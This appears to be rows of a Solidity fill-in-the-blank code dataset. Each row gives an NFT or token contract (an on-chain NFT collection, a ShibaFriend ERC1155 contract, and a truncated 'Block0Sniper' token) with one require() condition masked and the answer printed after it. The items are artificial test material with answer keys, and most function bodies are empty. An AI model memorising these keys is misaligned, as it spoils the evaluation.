uint public maxPerAddress = 10;
uint public publicMintPrice = 0.030 ether;
string public baseURI = "";
bool public isPublicMintActive;
bytes32 private merkleRoot = 0;
uint public allowListPrice = 0.000 ether;
uint public maxPerAllowList = 2;
bool public isAllowListActive;
ContractData public contractData = ContractData(unicode"LarvaDickbutts", unicode"Gooch Island is full of mysterious secrets... Scientists have discovered a new species of cute creatures : LarvaDickbutts. A cc0 and fully onchain collection of 3333 LarvaDickbutts, inspired by CryptoDickbutts and Larva Lads. /// Allowlist Price : FREE (Max. 2 per wallet) - Public Price : 0.03 ETH (Max. 10 per wallet) - Mint Date : 11/11", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/profile/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/banner/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "", 600, "0x75F52aEf21c1692afa9bBE897a31dB3002BAF6c3");
constructor() ERC721A(unicode"LarvaDickbutts", unicode"LDB") {
}
modifier whenMintActive() {
}
modifier whenUnsealed() {
}
receive() external payable {
}
function rarityGen(uint randinput, uint rarityTier)
internal
view
returns (uint)
{
}
function entropyForExtraData() internal view returns (uint24) {
}
function stringCompare(string memory a, string memory b) internal pure returns (bool) {
}
function tokensAreDuplicates(uint tokenIdA, uint tokenIdB) public view returns (bool) {
}
function reRollDuplicate(
uint tokenIdA,
uint tokenIdB
) public whenUnsealed {
}
function _extraData(
address from,
address,
uint24 previousExtraData
) internal view virtual override returns (uint24) {
}
function getTokenSeed(uint tokenId) internal view returns (uint24) {
}
function tokenIdToHash(
uint tokenId
) public view returns (string memory) {
}
function handleMint(uint256 count, address recipient) internal whenMintActive returns (uint256) {
}
function mint(uint256 count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
if (!isPublicMintActive && msg.sender != owner()) {
require(onAllowList(msg.sender, merkleProof), "Not on allow list");
require(_numberMinted(msg.sender) + count <= maxPerAllowList, "Exceeded max mints allowed");
require(<FILL_ME>)
}
return handleMint(count, msg.sender);
}
function airdrop(uint256 count, address recipient)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function isMintActive() public view returns (bool) {
}
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
}
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenIdToSVG(uint tokenId)
public
view
returns (string memory)
{
}
function traitDetails(uint layerIndex, uint traitIndex)
public
view
returns (Trait memory)
{
}
function traitData(uint layerIndex, uint traitIndex)
public
view
returns (string memory)
{
}
function getLinkedTraits(uint layerIndex, uint traitIndex)
public
view
returns (uint[] memory)
{
}
function addLayer(uint layerIndex, TraitDTO[] memory traits)
public
onlyOwner
whenUnsealed
{
}
function addTrait(uint layerIndex, uint traitIndex, TraitDTO memory trait)
public
onlyOwner
whenUnsealed
{
}
function setLinkedTraits(LinkedTraitDTO[] memory linkedTraits)
public
onlyOwner
whenUnsealed
{
}
function setContractData(ContractData memory data) external onlyOwner whenUnsealed {
}
function setMaxPerAddress(uint max) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setBackgroundColor(string memory color) external onlyOwner whenUnsealed {
}
function setRenderOfTokenId(uint tokenId, bool renderOffChain) external {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMaxPerAllowList(uint max) external onlyOwner {
}
function setAllowListPrice(uint price) external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function toggleOperatorFilter() external onlyOwner {
}
function toggleWrapSVG() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function sealContract() external whenUnsealed onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
function transferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| count*allowListPrice==msg.value,"Incorrect amount of ether sent" | 234,362 | count*allowListPrice==msg.value |
"Public minting is not active" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "./SSTORE2.sol";
import "./DynamicBuffer.sol";
import "./HelperLib.sol";
contract Indelible is ERC721A, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
using HelperLib for uint;
using DynamicBuffer for bytes;
struct LinkedTraitDTO {
uint[] traitA;
uint[] traitB;
}
struct TraitDTO {
string name;
string mimetype;
bytes data;
bool hide;
bool useExistingData;
uint existingDataIndex;
}
struct Trait {
string name;
string mimetype;
bool hide;
}
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
struct WithdrawRecipient {
string name;
string imageUrl;
address recipientAddress;
uint percentage;
}
mapping(uint => address[]) internal _traitDataPointers;
mapping(uint => mapping(uint => Trait)) internal _traitDetails;
mapping(uint => bool) internal _renderTokenOffChain;
mapping(uint => mapping(uint => uint[])) internal _linkedTraits;
uint[15] private PRIME_NUMBERS;
uint private constant DEVELOPER_FEE = 250; // of 10,000 = 2.5%
uint private constant NUM_LAYERS = 9;
uint private constant MAX_BATCH_MINT = 20;
uint[][NUM_LAYERS] private TIERS;
string[] private LAYER_NAMES = [unicode"Hand", unicode"Eyes", unicode"Nose", unicode"Mouth", unicode"Dick", unicode"Hat", unicode"Butt", unicode"Skin", unicode"Background"];
bool private shouldWrapSVG = true;
string private backgroundColor = "transparent";
uint private randomSeedData;
WithdrawRecipient[] public withdrawRecipients;
bool public isContractSealed;
uint public constant maxSupply = 3333;
uint public maxPerAddress = 10;
uint public publicMintPrice = 0.030 ether;
string public baseURI = "";
bool public isPublicMintActive;
bytes32 private merkleRoot = 0;
uint public allowListPrice = 0.000 ether;
uint public maxPerAllowList = 2;
bool public isAllowListActive;
ContractData public contractData = ContractData(unicode"LarvaDickbutts", unicode"Gooch Island is full of mysterious secrets... Scientists have discovered a new species of cute creatures : LarvaDickbutts. A cc0 and fully onchain collection of 3333 LarvaDickbutts, inspired by CryptoDickbutts and Larva Lads. /// Allowlist Price : FREE (Max. 2 per wallet) - Public Price : 0.03 ETH (Max. 10 per wallet) - Mint Date : 11/11", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/profile/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/banner/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "", 600, "0x75F52aEf21c1692afa9bBE897a31dB3002BAF6c3");
constructor() ERC721A(unicode"LarvaDickbutts", unicode"LDB") {
}
modifier whenMintActive() {
}
modifier whenUnsealed() {
}
receive() external payable {
}
function rarityGen(uint randinput, uint rarityTier)
internal
view
returns (uint)
{
}
function entropyForExtraData() internal view returns (uint24) {
}
function stringCompare(string memory a, string memory b) internal pure returns (bool) {
}
function tokensAreDuplicates(uint tokenIdA, uint tokenIdB) public view returns (bool) {
}
function reRollDuplicate(
uint tokenIdA,
uint tokenIdB
) public whenUnsealed {
}
function _extraData(
address from,
address,
uint24 previousExtraData
) internal view virtual override returns (uint24) {
}
function getTokenSeed(uint tokenId) internal view returns (uint24) {
}
function tokenIdToHash(
uint tokenId
) public view returns (string memory) {
}
function handleMint(uint256 count, address recipient) internal whenMintActive returns (uint256) {
}
function mint(uint256 count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function airdrop(uint256 count, address recipient)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
require(<FILL_ME>)
return handleMint(count, recipient);
}
function isMintActive() public view returns (bool) {
}
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
}
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenIdToSVG(uint tokenId)
public
view
returns (string memory)
{
}
function traitDetails(uint layerIndex, uint traitIndex)
public
view
returns (Trait memory)
{
}
function traitData(uint layerIndex, uint traitIndex)
public
view
returns (string memory)
{
}
function getLinkedTraits(uint layerIndex, uint traitIndex)
public
view
returns (uint[] memory)
{
}
function addLayer(uint layerIndex, TraitDTO[] memory traits)
public
onlyOwner
whenUnsealed
{
}
function addTrait(uint layerIndex, uint traitIndex, TraitDTO memory trait)
public
onlyOwner
whenUnsealed
{
}
function setLinkedTraits(LinkedTraitDTO[] memory linkedTraits)
public
onlyOwner
whenUnsealed
{
}
function setContractData(ContractData memory data) external onlyOwner whenUnsealed {
}
function setMaxPerAddress(uint max) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setBackgroundColor(string memory color) external onlyOwner whenUnsealed {
}
function setRenderOfTokenId(uint tokenId, bool renderOffChain) external {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMaxPerAllowList(uint max) external onlyOwner {
}
function setAllowListPrice(uint price) external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function toggleOperatorFilter() external onlyOwner {
}
function toggleWrapSVG() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function sealContract() external whenUnsealed onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
function transferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| isPublicMintActive||msg.sender==owner(),"Public minting is not active" | 234,362 | isPublicMintActive||msg.sender==owner() |
"Traits have not been added" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "./SSTORE2.sol";
import "./DynamicBuffer.sol";
import "./HelperLib.sol";
contract Indelible is ERC721A, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
using HelperLib for uint;
using DynamicBuffer for bytes;
struct LinkedTraitDTO {
uint[] traitA;
uint[] traitB;
}
struct TraitDTO {
string name;
string mimetype;
bytes data;
bool hide;
bool useExistingData;
uint existingDataIndex;
}
struct Trait {
string name;
string mimetype;
bool hide;
}
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
struct WithdrawRecipient {
string name;
string imageUrl;
address recipientAddress;
uint percentage;
}
mapping(uint => address[]) internal _traitDataPointers;
mapping(uint => mapping(uint => Trait)) internal _traitDetails;
mapping(uint => bool) internal _renderTokenOffChain;
mapping(uint => mapping(uint => uint[])) internal _linkedTraits;
uint[15] private PRIME_NUMBERS;
uint private constant DEVELOPER_FEE = 250; // of 10,000 = 2.5%
uint private constant NUM_LAYERS = 9;
uint private constant MAX_BATCH_MINT = 20;
uint[][NUM_LAYERS] private TIERS;
string[] private LAYER_NAMES = [unicode"Hand", unicode"Eyes", unicode"Nose", unicode"Mouth", unicode"Dick", unicode"Hat", unicode"Butt", unicode"Skin", unicode"Background"];
bool private shouldWrapSVG = true;
string private backgroundColor = "transparent";
uint private randomSeedData;
WithdrawRecipient[] public withdrawRecipients;
bool public isContractSealed;
uint public constant maxSupply = 3333;
uint public maxPerAddress = 10;
uint public publicMintPrice = 0.030 ether;
string public baseURI = "";
bool public isPublicMintActive;
bytes32 private merkleRoot = 0;
uint public allowListPrice = 0.000 ether;
uint public maxPerAllowList = 2;
bool public isAllowListActive;
ContractData public contractData = ContractData(unicode"LarvaDickbutts", unicode"Gooch Island is full of mysterious secrets... Scientists have discovered a new species of cute creatures : LarvaDickbutts. A cc0 and fully onchain collection of 3333 LarvaDickbutts, inspired by CryptoDickbutts and Larva Lads. /// Allowlist Price : FREE (Max. 2 per wallet) - Public Price : 0.03 ETH (Max. 10 per wallet) - Mint Date : 11/11", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/profile/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/banner/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "", 600, "0x75F52aEf21c1692afa9bBE897a31dB3002BAF6c3");
constructor() ERC721A(unicode"LarvaDickbutts", unicode"LDB") {
}
modifier whenMintActive() {
}
modifier whenUnsealed() {
}
receive() external payable {
}
function rarityGen(uint randinput, uint rarityTier)
internal
view
returns (uint)
{
}
function entropyForExtraData() internal view returns (uint24) {
}
function stringCompare(string memory a, string memory b) internal pure returns (bool) {
}
function tokensAreDuplicates(uint tokenIdA, uint tokenIdB) public view returns (bool) {
}
function reRollDuplicate(
uint tokenIdA,
uint tokenIdB
) public whenUnsealed {
}
function _extraData(
address from,
address,
uint24 previousExtraData
) internal view virtual override returns (uint24) {
}
function getTokenSeed(uint tokenId) internal view returns (uint24) {
}
function tokenIdToHash(
uint tokenId
) public view returns (string memory) {
}
function handleMint(uint256 count, address recipient) internal whenMintActive returns (uint256) {
}
function mint(uint256 count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function airdrop(uint256 count, address recipient)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function isMintActive() public view returns (bool) {
}
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
}
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
require(_exists(tokenId), "Invalid token");
require(<FILL_ME>)
string memory tokenHash = tokenIdToHash(tokenId);
bytes memory jsonBytes = DynamicBuffer.allocate(1024 * 128);
jsonBytes.appendSafe(unicode"{\"name\":\"LarvaDickbutts #");
jsonBytes.appendSafe(
abi.encodePacked(
_toString(tokenId),
"\",\"description\":\"",
contractData.description,
"\","
)
);
if (bytes(baseURI).length > 0 && _renderTokenOffChain[tokenId]) {
jsonBytes.appendSafe(
abi.encodePacked(
'"image":"',
baseURI,
_toString(tokenId),
"?dna=",
tokenHash,
'&network=mainnet",'
)
);
} else {
string memory svgCode = "";
if (shouldWrapSVG) {
string memory svgString = hashToSVG(tokenHash);
svgCode = string(
abi.encodePacked(
"data:image/svg+xml;base64,",
Base64.encode(
abi.encodePacked(
'<svg width="100%" height="100%" viewBox="0 0 1200 1200" version="1.2" xmlns="http://www.w3.org/2000/svg"><image width="1200" height="1200" href="',
svgString,
'"></image></svg>'
)
)
)
);
jsonBytes.appendSafe(
abi.encodePacked(
'"svg_image_data":"',
svgString,
'",'
)
);
} else {
svgCode = hashToSVG(tokenHash);
}
jsonBytes.appendSafe(
abi.encodePacked(
'"image_data":"',
svgCode,
'",'
)
);
}
jsonBytes.appendSafe(
abi.encodePacked(
'"attributes":',
hashToMetadata(tokenHash),
"}"
)
);
return string(
abi.encodePacked(
"data:application/json;base64,",
Base64.encode(jsonBytes)
)
);
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenIdToSVG(uint tokenId)
public
view
returns (string memory)
{
}
function traitDetails(uint layerIndex, uint traitIndex)
public
view
returns (Trait memory)
{
}
function traitData(uint layerIndex, uint traitIndex)
public
view
returns (string memory)
{
}
function getLinkedTraits(uint layerIndex, uint traitIndex)
public
view
returns (uint[] memory)
{
}
function addLayer(uint layerIndex, TraitDTO[] memory traits)
public
onlyOwner
whenUnsealed
{
}
function addTrait(uint layerIndex, uint traitIndex, TraitDTO memory trait)
public
onlyOwner
whenUnsealed
{
}
function setLinkedTraits(LinkedTraitDTO[] memory linkedTraits)
public
onlyOwner
whenUnsealed
{
}
function setContractData(ContractData memory data) external onlyOwner whenUnsealed {
}
function setMaxPerAddress(uint max) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setBackgroundColor(string memory color) external onlyOwner whenUnsealed {
}
function setRenderOfTokenId(uint tokenId, bool renderOffChain) external {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMaxPerAllowList(uint max) external onlyOwner {
}
function setAllowListPrice(uint price) external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function toggleOperatorFilter() external onlyOwner {
}
function toggleWrapSVG() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function sealContract() external whenUnsealed onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
function transferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| _traitDataPointers[0].length>0,"Traits have not been added" | 234,362 | _traitDataPointers[0].length>0 |
"Traits size does not match tiers for this index" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "./SSTORE2.sol";
import "./DynamicBuffer.sol";
import "./HelperLib.sol";
contract Indelible is ERC721A, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
using HelperLib for uint;
using DynamicBuffer for bytes;
struct LinkedTraitDTO {
uint[] traitA;
uint[] traitB;
}
struct TraitDTO {
string name;
string mimetype;
bytes data;
bool hide;
bool useExistingData;
uint existingDataIndex;
}
struct Trait {
string name;
string mimetype;
bool hide;
}
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
struct WithdrawRecipient {
string name;
string imageUrl;
address recipientAddress;
uint percentage;
}
mapping(uint => address[]) internal _traitDataPointers;
mapping(uint => mapping(uint => Trait)) internal _traitDetails;
mapping(uint => bool) internal _renderTokenOffChain;
mapping(uint => mapping(uint => uint[])) internal _linkedTraits;
uint[15] private PRIME_NUMBERS;
uint private constant DEVELOPER_FEE = 250; // of 10,000 = 2.5%
uint private constant NUM_LAYERS = 9;
uint private constant MAX_BATCH_MINT = 20;
uint[][NUM_LAYERS] private TIERS;
string[] private LAYER_NAMES = [unicode"Hand", unicode"Eyes", unicode"Nose", unicode"Mouth", unicode"Dick", unicode"Hat", unicode"Butt", unicode"Skin", unicode"Background"];
bool private shouldWrapSVG = true;
string private backgroundColor = "transparent";
uint private randomSeedData;
WithdrawRecipient[] public withdrawRecipients;
bool public isContractSealed;
uint public constant maxSupply = 3333;
uint public maxPerAddress = 10;
uint public publicMintPrice = 0.030 ether;
string public baseURI = "";
bool public isPublicMintActive;
bytes32 private merkleRoot = 0;
uint public allowListPrice = 0.000 ether;
uint public maxPerAllowList = 2;
bool public isAllowListActive;
ContractData public contractData = ContractData(unicode"LarvaDickbutts", unicode"Gooch Island is full of mysterious secrets... Scientists have discovered a new species of cute creatures : LarvaDickbutts. A cc0 and fully onchain collection of 3333 LarvaDickbutts, inspired by CryptoDickbutts and Larva Lads. /// Allowlist Price : FREE (Max. 2 per wallet) - Public Price : 0.03 ETH (Max. 10 per wallet) - Mint Date : 11/11", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/profile/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/banner/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "", 600, "0x75F52aEf21c1692afa9bBE897a31dB3002BAF6c3");
constructor() ERC721A(unicode"LarvaDickbutts", unicode"LDB") {
}
modifier whenMintActive() {
}
modifier whenUnsealed() {
}
receive() external payable {
}
function rarityGen(uint randinput, uint rarityTier)
internal
view
returns (uint)
{
}
function entropyForExtraData() internal view returns (uint24) {
}
function stringCompare(string memory a, string memory b) internal pure returns (bool) {
}
function tokensAreDuplicates(uint tokenIdA, uint tokenIdB) public view returns (bool) {
}
function reRollDuplicate(
uint tokenIdA,
uint tokenIdB
) public whenUnsealed {
}
function _extraData(
address from,
address,
uint24 previousExtraData
) internal view virtual override returns (uint24) {
}
function getTokenSeed(uint tokenId) internal view returns (uint24) {
}
function tokenIdToHash(
uint tokenId
) public view returns (string memory) {
}
function handleMint(uint256 count, address recipient) internal whenMintActive returns (uint256) {
}
function mint(uint256 count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function airdrop(uint256 count, address recipient)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function isMintActive() public view returns (bool) {
}
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
}
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenIdToSVG(uint tokenId)
public
view
returns (string memory)
{
}
function traitDetails(uint layerIndex, uint traitIndex)
public
view
returns (Trait memory)
{
}
function traitData(uint layerIndex, uint traitIndex)
public
view
returns (string memory)
{
}
function getLinkedTraits(uint layerIndex, uint traitIndex)
public
view
returns (uint[] memory)
{
}
function addLayer(uint layerIndex, TraitDTO[] memory traits)
public
onlyOwner
whenUnsealed
{
require(<FILL_ME>)
address[] memory dataPointers = new address[](traits.length);
for (uint i = 0; i < traits.length; i++) {
if (traits[i].useExistingData) {
dataPointers[i] = dataPointers[traits[i].existingDataIndex];
} else {
dataPointers[i] = SSTORE2.write(traits[i].data);
}
_traitDetails[layerIndex][i] = Trait(traits[i].name, traits[i].mimetype, traits[i].hide);
}
_traitDataPointers[layerIndex] = dataPointers;
return;
}
function addTrait(uint layerIndex, uint traitIndex, TraitDTO memory trait)
public
onlyOwner
whenUnsealed
{
}
function setLinkedTraits(LinkedTraitDTO[] memory linkedTraits)
public
onlyOwner
whenUnsealed
{
}
function setContractData(ContractData memory data) external onlyOwner whenUnsealed {
}
function setMaxPerAddress(uint max) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setBackgroundColor(string memory color) external onlyOwner whenUnsealed {
}
function setRenderOfTokenId(uint tokenId, bool renderOffChain) external {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMaxPerAllowList(uint max) external onlyOwner {
}
function setAllowListPrice(uint price) external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function toggleOperatorFilter() external onlyOwner {
}
function toggleWrapSVG() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function sealContract() external whenUnsealed onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
function transferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| TIERS[layerIndex].length==traits.length,"Traits size does not match tiers for this index" | 234,362 | TIERS[layerIndex].length==traits.length |
"ShibaFriendNFT: must have minter role to mint" | //SPDX-License-Identifier: Unlicense
pragma solidity >=0.8.4;
import "@openzeppelin/contracts-upgradeable/token/ERC1155/presets/ERC1155PresetMinterPauserUpgradeable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract ShibaFriendNFTUpgradeable is
ERC1155PresetMinterPauserUpgradeable
{
using Strings for uint256;
string public name;
string public symbol;
string public _uriBase;
uint[] public IdPrefixs;
mapping(string => uint) public NFTGroupPrefixs;
mapping(uint => uint) public NumberOfTypeNFT;
uint public TotalType;
function initialize(string memory uri) override public initializer {
}
function setBaseUri(string memory baseUri)
external
{
}
function addGroupNFT(string memory _groupNamePrefix, uint _numberOfType)
external
{
require(<FILL_ME>)
require(_numberOfType > 0, "ShibaFriendNFT: Number of type not allow");
if(NFTGroupPrefixs[_groupNamePrefix] == 0) {
uint idPrefix = uint256(_stringToBytes32(_groupNamePrefix));
NFTGroupPrefixs[_groupNamePrefix] = idPrefix;
IdPrefixs.push(idPrefix);
}
else {
TotalType = TotalType - NumberOfTypeNFT[NFTGroupPrefixs[_groupNamePrefix]];
}
NumberOfTypeNFT[NFTGroupPrefixs[_groupNamePrefix]] = _numberOfType;
TotalType = TotalType + _numberOfType;
}
function getAllNFTID()
external
view
returns(uint[] memory)
{
}
function _stringToBytes32(string memory source)
internal
pure
returns (bytes32 result)
{
}
// Update for nft metadata.
function uri(uint256 tokenId)
override
public
view
returns (string memory)
{
}
}
| hasRole(MINTER_ROLE,_msgSender())||hasRole(DEFAULT_ADMIN_ROLE,_msgSender()),"ShibaFriendNFT: must have minter role to mint" | 234,402 | hasRole(MINTER_ROLE,_msgSender())||hasRole(DEFAULT_ADMIN_ROLE,_msgSender()) |
null | /**
At Block-0, we're on a mission to redefine your crypto trading experience. With a team of passionate experts, we've crafted an innovative platform that combines cutting-edge technology with an unwavering commitment to security and excellence.
Website: https://www.block0snipe.xyz
Telegram: https://t.me/block0sniper
Twitter: https://twitter.com/block0sniper
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function renounceOwnership() public virtual onlyOwner {
}
modifier onlyOwner() {
}
function owner() public view returns (address) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapRouterV2 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval (address indexed owner, address indexed spender, uint256 value);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
}
contract BLOCK0 is Context, IERC20, Ownable {
using SafeMath for uint256;
address payable private _taxWallet;
uint256 tradingActiveBlock;
uint256 private _initialBuyTax=15;
uint256 private _initialSellTax=15;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _reduceBuyTaxAt=15;
uint256 private _reduceSellTaxAt=15;
uint256 private _preventSwapBefore=6;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tSupply = 10 ** 8 * 10**_decimals;
string private constant _name = "Block0Sniper";
string private constant _symbol = "BLOCK0";
uint256 public _maxTransaction = 3 * 10 ** 6 * 10**_decimals;
uint256 public _maxHolding = 3 * 10 ** 6 * 10**_decimals;
uint256 public _taxSwapLimit = 10 ** 6 * 10**_decimals; // 1%
uint256 public _maxSwapFee = 10 ** 6 * 10**_decimals; // 1%
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint256) private _balances;
mapping (address => bool) private bots;
IUniswapRouterV2 private uniswapV2Router;
address private uniswapV2Router_;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTransaction);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function swapTokensForETH(address receiver, uint256 tokenAmount) private lockTheSwap {
}
function removeLimits() external onlyOwner{
}
function sendETHToFeeWallet(uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
